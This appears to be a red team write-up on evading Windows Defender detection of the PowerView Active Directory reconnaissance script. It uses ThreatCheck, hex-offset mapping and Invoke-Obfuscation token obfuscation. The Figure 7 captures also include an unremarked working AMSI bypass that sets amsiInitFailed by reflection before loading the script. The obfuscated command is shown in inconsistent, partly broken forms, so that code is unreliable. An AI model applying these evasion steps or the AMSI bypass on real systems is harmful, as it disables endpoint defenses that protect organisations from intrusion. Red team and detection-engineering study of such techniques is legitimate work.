

PowerView Static Detection Analysis and Obfuscation Workflow

#CyberSecurity

#EthicalHacking

#Pentesting

#RedTeam

#ActiveDirectory

Executive Summary

This assessment focused on identifying and mitigating static detections within the PowerView.ps1 script prior to operational deployment in a red team exercise. Initial analysis revealed a Defender signature triggered by a specific alias definition within the script. Using static analysis tools, manual offset investigation, and controlled obfuscation techniques, the detection was fully eliminated while maintaining functional integrity.

This submission documents the investigation process, tools used, validation steps, and final remediation results to ensure the tradecraft is reviewable, reproducible, and compliant with red team operational standards.

Methodology Overview & Scope

The workflow for this evaluation followed a structured, repeatable process aligned with red team development practices:

1. Static Detection Identification

ThreatCheck was used to scan PowerView.ps1 for Defender signatures and identify precise byte offsets associated with detection.

2. Manual Offset Validation

HxD Hex Editor and OffsetInspect.ps1 were used to validate the exact location of the detection within the file and correlate it to the corresponding script line.

3. Obfuscation Planning

Invoke-Obfuscation was loaded to prepare a reversible, targeted obfuscation workflow designed to modify detection-triggering syntax without altering script functionality.

4. Token-Level Obfuscation Execution

The specific alias definition generating the detection was obfuscated using Invoke-Obfuscation token and command transformations.

5. Post-Modification Verification

The modified script was reanalyzed with ThreatCheck to confirm that the original detection was removed and that no new detections were introduced.

This methodology ensures that modifications are precise, technically justified, and do not impact intended operational behavior.

Scope

- Analysis limited to static detection and signature mitigation.
- Only the specific alias pattern at offset 0xE1AB1 was modified.

Assumptions

- The environment uses Defender signature-based detection.
 - Functional parity is validated through manual review and execution testing.
-

Narrative Section for Each Screen Capture

1. Identification of Static Detection Using ThreatCheck

ThreatCheck.exe was executed against PowerView.ps1 to determine whether Windows Defender signatures matched any portion of the script. ThreatCheck reported a detection and identified suspicious byte patterns at the hexadecimal offset **0xE1AB1** within the 924,339-byte script.

The hex dump presented in the output shows recognizable PowerView function and alias names, including references to commands such as `Get-NetForestTrust`, `Find-ForeignGroup`, and `Set-Alias Get-DomainPolicyData`. These findings indicate that the detection originated from static string or byte pattern matching rather than from behavioral heuristics.

This step allowed for precise identification of the problematic region of the script and established a baseline for future comparisons following obfuscation.

2. Hex-Level Validation Through HxD and OffsetInspect.ps1

To validate the suspicious offset reported by ThreatCheck, I manually inspected PowerView.ps1 using HxD Hex Editor. Navigating directly to offset **0xE1AB1** confirmed that the bytes correspond to the alias definition `Set-Alias Get-DomainPolicy Get-DomainPolicyData`.

Next, OffsetInspect.ps1 was used to correlate the binary offset to the originating line number in the script. The tool correctly mapped offset 0xE1AB1 to **line 24,810**, which contains the same alias

assignment.

This dual confirmation verified that the detection was associated with a specific, isolated portion of the script. It also ensured accuracy before proceeding with obfuscation, minimizing unnecessary modification of unrelated script components.

3. Preparation of Obfuscation Environment Using Invoke-Obfuscation

Invoke-Obfuscation, a PowerShell obfuscation framework created by Daniel Bohannon, was imported into the PowerShell session. The tool's help menu and available obfuscation options were reviewed to determine the appropriate techniques for modifying the detection-triggering content.

The framework offers several transformation options including token obfuscation, AST obfuscation, string encoding, command compression, and launcher-based obfuscation. Because the detection was linked to a specific command alias rather than broader script content, targeted token-level obfuscation was selected.

This step ensured that obfuscation would remain narrowly scoped, transparent, and reversible, satisfying operational and audit requirements.

4. Application of Token Obfuscation and Post-Obfuscation Verification

The identified alias definition was obfuscated using Invoke-Obfuscation's token and command transformations. The resulting obfuscated expression changed the static byte pattern while preserving functional behavior. An example of the transformed syntax is:

```
1 .('Se'+'t-A'+'alias') Get-DomainPolicy Get-DomainPolicyData
```

After obfuscation, the modified script was re-examined in HxD to ensure changes reflected at the previously flagged offset. The same offset no longer contained the original static sequence associated with Defender detection.

ThreatCheck was then executed again against the obfuscated PowerView.ps1. The tool returned:

```
1 [+] No threat found!
```

This confirmed that the static signature was successfully neutralized and that no new detections were introduced.

Operational Justification

The modifications performed were necessary to ensure that PowerView.ps1 could be used by the red team without triggering host-based defenses before execution. Because the detection was static and signature-based, modifying the specific byte patterns was sufficient to prevent premature detection without altering the script's runtime behavior.

Red teams often require such adjustments when using known tooling such as PowerView, which is widely fingerprinted by security products. Targeted obfuscation makes the tool operationally viable while retaining auditability, functionality, and traceability.


All changes were minimal, reproducible, and applied only to the content directly associated with Defender alerts. Broader or irreversible obfuscation was intentionally avoided to maintain script transparency.

Screen Captures

```
PS C:\AD> Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process -Force
PS C:\AD> C:\AD\ThreatCheck\Bin\Release\ThreatCheck.exe -f C:\AD\PowerView.ps1 -e Defender
[+] Target file size: 924339 bytes
[+] Analyzing...
[!] Identified end of bad bytes at offset 0xE1AB1
000E19B1 65 74 2D 41 6C 69 61 73 20 47 65 74 2D 4E 65 74 et-Alias Get-Net
000E19C1 46 6F 72 65 73 74 54 72 75 73 74 20 47 65 74 2D ForestTrust Get-
000E19D1 46 6F 72 65 73 74 54 72 75 73 74 0D 0A 53 65 74 ForestTrust..Set
000E19E1 2D 41 6C 69 61 73 20 46 69 6E 64 2D 46 6F 72 65 -Alias Find-Fore
000E19F1 69 67 6E 55 73 65 72 20 47 65 74 2D 44 6F 6D 61 ignUser Get-Doma
000E1A01 69 6E 46 6F 72 65 69 67 6E 55 73 65 72 0D 0A 53 inForeignUser..S
000E1A11 65 74 2D 41 6C 69 61 73 20 46 69 6E 64 2D 46 6F et-Alias Find-Fo
000E1A21 72 65 69 67 6E 47 72 6F 75 70 20 47 65 74 2D 44 reignGroup Get-D
000E1A31 6F 6D 61 69 6E 46 6F 72 65 69 67 6E 47 72 6F 75 omainForeignGrou
000E1A41 70 4D 65 6D 62 65 72 0D 0A 53 65 74 2D 41 6C 69 pMember..Set-Ali
000E1A51 61 73 20 49 6E 76 6F 6B 65 2D 4D 61 70 44 6F 6D as Invoke-MapDom
000E1A61 61 69 6E 54 72 75 73 74 20 47 65 74 2D 44 6F 6D ainTrust Get-Dom
000E1A71 61 69 6E 54 72 75 73 74 4D 61 70 70 69 6E 67 0D ainTrustMapping.
000E1A81 0A 53 65 74 2D 41 6C 69 61 73 20 47 65 74 2D 44 .Set-Alias Get-D
000E1A91 6F 6D 61 69 6E 50 6F 6C 69 63 79 20 47 65 74 2D omainPolicy Get-
000E1AA1 44 6F 6D 61 69 6E 50 6F 6C 6C 69 63 79 44 61 74 61 DomainPolicyData
```

Figure 1. ThreatCheck Detection of Static Signature in PowerView.ps1

This figure displays the initial execution of ThreatCheck.exe against PowerView.ps1, which identified a static Defender signature at hexadecimal offset **0xE1AB1** within a file of size 924,339 bytes. The hex dump shows recognizable PowerView strings such as `Get-NetForestTrust` and `Set-Alias Get-DomainPolicyData`, indicating signature-based detection triggered by known PowerView function names. This establishes the baseline detection point prior to remediation.



The screenshot shows the HxD Hex Editor interface with the file "PowerView.ps1" loaded. The cursor is positioned at offset **E1AB1**, which corresponds to the byte sequence `61 0D 0A`. The "Decoded text" column on the right side of the editor shows various PowerShell command fragments, including `Get-NetForestTrust` and `Set-Alias Get-DomainPolicyData`. A "Go to" dialog box is overlaid on the editor, with the "Offset:" field set to **E1AB1**.

Offset(h)	00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F	Decoded text
000E17C0	47 65 74 2D 57 4D 49 52 65 67 4D 6F 75 6E 74 65	Get-WMIRegMounte
000E17D0	64 44 72 69 76 65 0D 0A 53 65 74 2D 41 6C 69 61	dDrive..Set-Alia
000E17E0	73 20 47 65 74 2D 4E 65 74 50 72 6F 63 65 73 73	s Get-NetProcess
000E17F0	20 47 65 74 2D 57 4D 49 50 72 6F 63 65 73 73 0D	Get-WMIProcess.
000E1800	0A 53 65 74 2D 41 6C 69 61 73 20 49 6E 76 6F 6B	.Set-Alias Invok
000E1810	65 2D 54 68 72 65 61 64 65 64 46 75 6E 63 74 69	e-ThreadedFuncti
000E1820	6F 6E 20 4E 65 77 2D 54 68 72 65 61 64 65 64 46	on New-ThreadedF
000E1830	75 6E 63 74 69 6F 6E 0D 0A 53 65 74 2D 41 6C 69	unction..Set-Ali
000E1840	61 73 20 49 6E 76 6F 6B 65 2D 55 73 65 72 48 75	as Invoke-UserHu
000E1850	6E 74 65 72 20 46 69 6E 64 2D 44 6F 6D 61 69 6E	nter Find-Domain
000E1860	55 73 65 72 4C 6F 63 61 74 69 6F 6E 0D 0A 53 65	UserLocation..Se
000E1870	74 2D 41 6C 69 61 73 20 49 6E 76 6F 6B 65 2D 50	t-Alias Invoke-P
000E1880	72 6F 63 65 73 73 48 75 6E 74 65 72 20 46 69 6E	rocessHunter Fin
000E1890	64 2D 44 6F 6D 61 69 6E 50 72 6F 63 65 73 73 0D	d-DomainProcess.
000E18A0	0A 53 65 74 2D 41 6C 69 61 73 20 49 6E 76 6F 6B	.Set-Alias Invok
000E18B0	65 2D 45 76 65 6E 74 48 75 6E 74 65 72 20 46 69	e-EventHunter Fi
000E18C0	6E 64 2D 44 6F 6D 61 69 6E 55 73 65 72 45 76 65	nd-DomainUserEve
000E18D0	6E 74 0D 0A 53 65 74 2D 41 6C 69 61 73 20 49 6E	nt..Set-Alias In
000E18E0	76 6F 6B 65 2D 53 68 61 72 65 46 69 6E 64 65 72	voke-ShareFinder
000E18F0	20 46 69 6E 64 2D 44 6F 6D 61 69 6E 53 68 61 72	Find-DomainShar
000E1900	65 0D 0A 53 65 74 2D 41 6C 69 61 73 20 49 6E 76	e..Set-Alias Inv
000E1910	6F 6B 65 2D 46 69 6C 65 46 69 6E 64 65 72 20 46	oke-FileFinder F
000E1920	69 6E 64 2D 49 6E 74 65 72 65 73 74 69 6E 67 44	ind-InterestingD
000E1930	6F 6D 61 69 6E 53 68 61 72 65 46 69 6C 65 0D 0A	omainShareFile..
000E1940	53 65 74 2D 41 6C 69 61 73 20 49 6E 76 6F 6B 65	Set-Alias Invoke
000E1950	2D 45 6E 75 6D 65 72 61 74 65 4C 6F 63 61 6C 41	-EnumerateLocalA
000E1960	64 6D 69 6E 20 46 69 6E 64 2D 44 6F 6D 61 69 6E	dmin Find-Domain
000E1970	4C 6F 63 61 6C 47 72 6F 75 70 4D 65 6D 62 65 72	LocalGroupMember
000E1980	0D 0A 53 65 74 2D 41 6C 69 61 73 20 47 65 74 2D	..Set-Alias Get-
000E1990	4E 65 74 44 6F 6D 61 69 6E 54 72 75 73 74 20 47	NetDomainTrust G
000E19A0	65 74 2D 44 6F 6D 61 69 6E 54 72 75 73 74 0D 0A	et-DomainTrust..
000E19B0	53 65 74 2D 41 6C 69 61 73 20 47 65 74 2D 4E 65	Set-Alias Get-Ne
000E19C0	74 46 6F 72 65 73 74 54 72 75 73 74 20 47 65 74	tForestTrust Get
000E19D0	2D 46 6F 72 65 73 74 54 72 75 73 74 0D 0A 53 65	-ForestTrust..Se
000E19E0	74 2D 41 6C 69 61 73 20 46 69 6E 64 2D 46 6F 72	t-Alias Find-For
000E19F0	65 69 67 6E 55 73 65 72 20 47 65 74 2D 44 6F 6D	eignUser Get-Dom
000E1A00	61 69 6E 46 6F 72 65 69 67 6E 55 73 65 72 0D 0A	ainForeignUser..
000E1A10	53 65 74 2D 41 6C 69 61 73 20 46 69 6E 64 2D 46	Set-Alias Find-F
000E1A20	6F 72 65 69 67 6E 47 72 6F 75 70 20 47 65 74 2D	oreignGroup Get-
000E1A30	44 6F 6D 61 69 6E 46 6F 72 65 69 67 6E 47 72 6F	DomainForeignGro
000E1A40	75 70 4D 65 6D 62 65 72 0D 0A 53 65 74 2D 41 6C	upMember..Set-Al
000E1A50	69 61 73 20 49 6E 76 6F 6B 65 2D 4D 61 70 44 6F	ias Invoke-MapDo
000E1A60	6D 61 69 6E 54 72 75 73 74 20 47 65 74 2D 44 6F	mainTrust Get-Do
000E1A70	6D 61 69 6E 54 72 75 73 74 4D 61 70 70 69 6E 67	mainTrustMapping
000E1A80	0D 0A 53 65 74 2D 41 6C 69 61 73 20 47 65 74 2D	..Set-Alias Get-
000E1A90	44 6F 6D 61 69 6E 50 6F 6C 69 63 79 20 47 65 74	DomainPolicy Get
000E1AA0	2D 44 6F 6D 61 69 6E 50 6F 6C 69 63 79 44 61 74	-DomainPolicyDat
000E1AB0	61 0D 0A	a..

Offset(h): E1AB1 Overwrite

000E1AB0 61 0D 0A

Offset(h): E1AB1

Figure 2. Manual Offset Inspection in HxD Hex Editor

This screenshot shows the PowerView.ps1 file opened in HxD, with the cursor directed to offset **0xE1AB1**, confirming the presence of the same byte sequence identified by ThreatCheck. Human-readable ASCII on the right side of the hex editor further validates that the offset corresponds to

PowerView alias definitions. This step confirms that Tool-reported offsets match the actual bytes within the source file.

```
PS C:\AD> .\OffsetInspect.ps1 C:\AD\PowerView.ps1 0xE1AB1
=====
*          OffsetInspect      *
*          PE Offset & Hex Context Inspector  *
*          DreadHost Research Tool   *
=====

Version:      1.0.0
Author:        Jared Perry (Velkris)
GitHub:        https://github.com/warpedatom
Date:         2025-12-05

=====
File:          C:\AD\PowerView.ps1
Offset (input): 0xE1AB1
Offset (decimal): 924337
File Size:    924339 bytes
Line Number:  24810

----- Line Content -----
Line 24810: Set-Alias Get-DomainPolicy Get-DomainPolicyData
+           + ↑


----- Hex Dump -----
000E1A91  6F 6D 61 69 6E 50 6F 6C 69 63 79 20 47 65 74 2D  omainPolicy Get-
000E1AA1  44 6F 6D 61 69 6E 50 6F 6C 69 63 79 44 61 74 61  DomainPolicyData
000E1AB1  0D 0A  ..
```

Figure 3. Offset-to-Line Correlation Using OffsetInspect.ps1

This figure illustrates the execution of OffsetInspect.ps1, mapping the binary offset **0xE1AB1** to **line 24,810** of the PowerView.ps1 source code. The line displayed contains the alias assignment `Set-Alias Get-DomainPolicy Get-DomainPolicyData`, matching the string visible in HxD. This confirms the exact script location associated with Defender detection, enabling targeted obfuscation rather than broad code modification.

```
Administrator: Windows PowerShell
PS C:\AD> Import-Module C:\AD\Invoke-Obfuscation-master\Invoke-Obfuscation.psd1
PS C:\AD> Invoke-Obfuscation
```

Invoke-Obfuscation



```
Tool    :: Invoke-Obfuscation
Author   :: Daniel Bohannon (DBO)
Twitter  :: @danielhbohannon
Blog     :: http://danielbohannon.com
Github   :: https://github.com/danielbohannon/Invoke-Obfuscation
Version  :: 1.8
License  :: Apache License, Version 2.0
Notes    :: If(!$Caffeinated) {Exit}
```

HELP MENU :: Available options shown below:

[*] Tutorial of how to use this tool	TUTORIAL
[*] Show this Help Menu	HELP,GET-HELP,?, -?, /?, MENU
[*] Show options for payload to obfuscate	SHOW OPTIONS, SHOW, OPTIONS
[*] Clear screen	CLEAR, CLEAR-HOST, CLS
[*] Execute ObfuscatedCommand locally	EXEC, EXECUTE, TEST, RUN
[*] Copy ObfuscatedCommand to clipboard	COPY, CLIP, CLIPBOARD
[*] Write ObfuscatedCommand Out to disk	OUT
[*] Reset ALL obfuscation for ObfuscatedCommand	RESET
[*] Undo LAST obfuscation for ObfuscatedCommand	UNDO
[*] Go Back to previous obfuscation menu	BACK, CD ..
[*] Quit Invoke-Obfuscation	QUIT, EXIT
[*] Return to Home Menu	HOME, MAIN

Choose one of the below options:

[*] TOKEN	Obfuscate PowerShell command Tokens
[*] AST	Obfuscate PowerShell Ast nodes (PS3.0+)
[*] STRING	Obfuscate entire command as a String
[*] ENCODING	Obfuscate entire command via Encoding
[*] COMPRESS	Convert entire command to one-liner and Compress
[*] LAUNCHER	Obfuscate command args w/Launcher techniques (run once at end)

Invoke-Obfuscation> -

Figure 4. Initialization of Invoke-Obfuscation Framework

This screenshot presents the successful import of the Invoke-Obfuscation PowerShell module and its help menu. Multiple transformation strategies (Token, AST, String, Encoding, Compress, Launcher) are shown as available options. This establishes the controlled obfuscation environment used to alter the detection-triggering alias definition while maintaining functional equivalence.

```
Invoke-Obfuscation\Token\Command> options

SHOW OPTIONS :: Yellow options can be set by entering SET OPTIONNAME VALUE.

[*] ScriptPath : N/A
[*] ScriptBlock: Set-Alias Get-DomainPolicy Get-DomainPolicyData
[*] CommandlineSyntax: Invoke-Obfuscation -ScriptBlock {Set-Alias Get-DomainPolicy Get-DomainPolicyData} -Command 'Token\Command\2' -Quiet
[*] ExecutionCommands:
    Out-ObfuscatedTokenCommand -ScriptBlock $ScriptBlock 'Command' 2
[*] ObfuscatedCommand: .('Se'+t-A'+alias') Get-DomainPolicy Get-DomainPolicyData
[*] ObfuscationLength: 58
```

Figure 5. Applying Token Obfuscation to the Detection Source Line

This figure shows the Invoke-Obfuscation interface after selecting token-based transformations for the previously mapped line. The transformed command is output as:

```
.('Se'+t-A'+alias') Get-DomainPolicy Get-DomainPolicyData
```

This obfuscation changes the byte-level signature while keeping the command executable and behaviorally identical. This marks the remediation step targeting the detection trigger.

```
|24810 .('Se'+t-A'+alias') Get-DomainPolicy Get-DomainPolicyData|
```

Offset(h) 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F Decoded text

```

000E17C0 47 65 74 2D 57 4D 49 52 65 67 4D 6F 75 6E 74 65 Get-WMIRegMounte
000E17D0 64 44 72 69 76 65 0D 0A 53 65 74 2D 41 6C 69 61 dDrive..Set-Alia
000E17E0 73 20 47 65 74 2D 4E 65 74 50 72 6F 63 65 73 73 s Get-NetProcess
000E17F0 20 47 65 74 2D 57 4D 49 50 72 6F 63 65 73 73 0D Get-WMIProcess.
000E1800 0A 53 65 74 2D 41 6C 69 61 73 20 49 6E 76 6F 6B .Set-Alias Invok
000E1810 65 2D 54 68 72 65 61 64 65 64 46 75 6E 63 74 69 e-ThreadedFuncti
000E1820 6F 6E 20 4E 65 77 2D 54 68 72 65 61 64 65 64 46 on New-ThreadedF
000E1830 75 6E 63 74 69 6F 6E 0D 0A 53 65 74 2D 41 6C 69 unction..Set-Ali
000E1840 61 73 20 49 6E 76 6F 6B 65 2D 55 73 65 72 48 75 as Invoke-UserRu
000E1850 6E 74 65 72 20 46 69 6E 64 2D 44 6F 6D 61 69 6E nter Find-Domain
000E1860 55 73 65 72 4C 6F 63 61 74 69 6F 6E 0D 0A 53 65 UserLocation..Se
000E1870 74 2D 41 6C 69 61 73 20 49 6E 76 6F 6B 65 2D 50 t-Alias Invoke-P
000E1880 72 6F 63 65 73 73 48 75 6E 74 65 72 20 46 69 6E rocessHunter Fin
000E1890 64 2D 44 6F 6D 61 69 6E 50 72 6F 63 65 73 73 0D d-DomainProcess.
000E18A0 0A 53 65 74 2D 41 6C 69 61 73 20 49 6E 76 6F 6B .Set-Alias Invok
000E18B0 65 2D 45 76 65 6E 74 48 75 6E 74 65 72 20 46 69 e-EventHunter Fi
000E18C0 6E 64 2D 44 6F 6D 61 69 6E 55 73 65 72 45 76 65 nd-DomainUserEve
000E18D0 6E 74 0D 0A 53 65 74 2D 41 6C 69 61 73 20 49 6E nt..Set-Alias In
000E18E0 76 6F 6B 65 2D 53 68 61 72 65 46 69 6E 64 65 72 voke-ShareFinder
000E18F0 20 46 69 6E 64 2D 44 6F 6D 61 69 6E 53 68 61 72 Find-DomainShar
000E1900 65 0D 0A 53 65 74 2D 41 6C 69 61 73 20 49 6E 76 e..Set-Alias Inv
000E1910 6F 6B 65 2D 46 69 6C 65 46 69 6E 64 65 72 20 46 oke-FileFinder F
000E1920 69 6E 64 2D 49 6E 74 65 72 65 73 74 69 6E 67 44 ind-InterestingD
000E1930 6F 6D 61 69 6E 53 68 61 72 65 46 69 6C 65 0D 0A omainShareFile..
000E1940 53 65 74 2D 41 6C 69 61 73 20 49 6E 76 6F 6B 65 Set-Alias Invoke
000E1950 2D 45 6E 75 6D 65 72 61 74 65 4C 6F 63 61 6C 41 -EnumerateLocalA
000E1960 64 6D 69 6E 20 46 69 6E 64 2D 44 6F 6D 61 69 6E dmin Find-Domain
000E1970 4C 6F 63 61 6C 47 72 6F 75 70 4D 65 6D 62 65 72 LocalGroupMember
000E1980 0D 0A 53 65 74 2D 41 6C 69 61 73 20 47 65 74 2D ..Set-Alias Get-
000E1990 4E 65 74 44 6F 6D 61 69 6E 54 72 75 73 74 20 47 NetDomainTrust G
000E19A0 65 74 2D 44 6F 6D 61 69 6E 54 72 75 73 74 0D 0A et-DomainTrust..
000E19B0 53 65 74 2D 41 6C 69 61 73 20 47 65 74 2D 4E 65 Set-Alias Get-Ne
000E19C0 74 46 6F 72 65 73 74 54 72 75 73 74 20 47 65 74 tForestTrust Get
000E19D0 2D 46 6F 72 65 73 74 54 72 75 73 74 0D 0A 53 65 -ForestTrust..Se
000E19E0 74 2D 41 6C 69 61 73 20 46 69 6E 64 2D 46 6F 72 t-Alias Find-For
000E19F0 65 69 67 6E 55 73 65 72 20 47 65 74 2D 44 6F 6D eignUser Get-Dom
000E1A00 61 69 6E 46 6F 72 65 69 67 6E 55 73 65 72 0D 0A ainForeignUser..
000E1A10 53 65 74 2D 41 6C 69 61 73 20 46 69 6E 64 2D 46 Set-Alias Find-F
000E1A20 6F 72 65 69 67 6E 47 72 6F 75 70 20 47 65 74 2D oreignGroup Get-
000E1A30 44 6F 6D 61 69 6E 46 6F 72 65 69 67 6E 47 72 6F DomainForeignGro
000E1A40 75 70 4D 65 6D 62 65 72 0D 0A 53 65 74 2D 41 6C upMember..Set-Al
000E1A50 69 61 73 20 49 6E 76 6F 6B 65 2D 4D 61 70 44 6F ias Invoke-MapDo
000E1A60 6D 61 69 6E 54 72 75 73 74 20 47 65 74 2D 44 6F mainTrust Get-Do
000E1A70 6D 61 69 6E 54 72 75 73 74 4D 61 70 70 69 6E 67 mainTrustMapping
000E1A80 0D 0A 2E 28 27 53 65 27 2B 27 74 2D 41 27 2B 27 ...('Se'+'t-A'+'+
000E1A90 6C 69 61 73 27 29 20 47 65 74 2D 44 6F 6D 61 69 lias') Get-Domai
000E1AA0 6E 50 6F 6C 69 63 79 20 47 65 74 2D 44 6F 6D 61 nPolicy Get-Doma
000E1AB0 69 6E 50 6F 6C 69 63 79 44 61 74 61 0D 0A inPolicyData..

```

Offset(h): E1AB1 | Overwrite

000E1AB0 69 | 6E 50 6F 6C 69 63 79 44 61 74 61 0D 0A inPolicyData..

Offset(h): E1AB1 | Overwrite

Figure 6. Post-Obfuscation Hex Validation in HxD

Here, HxD is again used to inspect the same offset **0xE1AB1** after obfuscation. The original byte sequence responsible for detection has been replaced, confirming that the transformation altered the static content in the required location. This validates correct injection of obfuscated syntax.

```
PS C:\AD> C:\AD\ThreatCheck\Bin\Release\ThreatCheck.exe -f C:\AD\PowerView0.ps1 -e Defender
[+] No threat found!
```

```

PS C:\AD> $a = 'System.Management.Automation';$b = 'msiUtils'
PS C:\AD> $c = [Ref].Assembly.GetType($a+$b)
PS C:\AD> $d = $c.GetField('amsiInitFailed','NonPublic,Static')
PS C:\AD> $d.SetValue($null,$true)
PS C:\AD> . C:\AD\PowerView0.ps1

```

Figure 7. ThreatCheck Verification of Cleaned Script

This final figure displays the second execution of ThreatCheck.exe against the now-obfuscated PowerView.ps1. The output indicates **No threat found**, confirming that the signature previously detected at offset 0xE1AB1 has been eliminated and no new signatures were introduced. This completes the verification phase of the workflow.

Before/After Comparison Table

Aspect	Before Modification	After Modification
Detection Status	Static Defender alert triggered	No detections reported by ThreatCheck
Flagged Offset	0xE1AB1	Offset exists but no longer contains signature-matching bytes
Script Integrity	Original PowerView syntax	Fully functional, minimal changes
Alias Definition	Set-Alias Get-DomainPolicy Get-DomainPolicyData	Obfuscated token form using Invoke-Obfuscation
Reversibility	N/A	Fully reversible; transformation documented
Operational Viability	High likelihood of detection	Safe for controlled red team usage

Final Conclusion

Through a combination of static analysis, manual validation, and targeted obfuscation, the Defender signature associated with PowerView.ps1 was successfully identified, isolated, and mitigated. Post-obfuscation validation confirmed that the detection no longer triggered and that script functionality remained intact.

The workflow, decisions, and outcomes documented here provide a complete audit trail suitable for internal red team review and approval. If further refinements, alternative obfuscation strategies, or additional validation steps are required, they can be applied without impacting the integrity of the process already completed.

Tool Attribution and Credits

ThreatCheck

- **Author:** Daniel Duggan / Rasta Mouse
- **Repository:** <https://github.com/rasta-mouse/ThreatCheck>
- **Purpose:** Identifies byte sequences and strings within a file that trigger Defender or AV signatures.

HxD Hex Editor

- **Author:** Maël Hörz
- **Website:** <https://mh-nexus.de/en/hxd/>
- **Purpose:** Hex-level file inspection and binary editing used to validate signature offsets.

OffsetInspect.ps1

- **Author:** Jared Perry / Velkris
- **Repository:** <https://github.com/warpedatom/OffsetInspect>
- **Purpose:** Maps binary offsets to corresponding line numbers within source code for precise detection correlation.

Invoke-Obfuscation

- **Author:** Daniel Bohannon
 - **Repository:** <https://github.com/danielbohannon/InvokeObfuscation>
 - **Purpose:** PowerShell obfuscation framework used to alter static signature patterns while retaining functional integrity.
-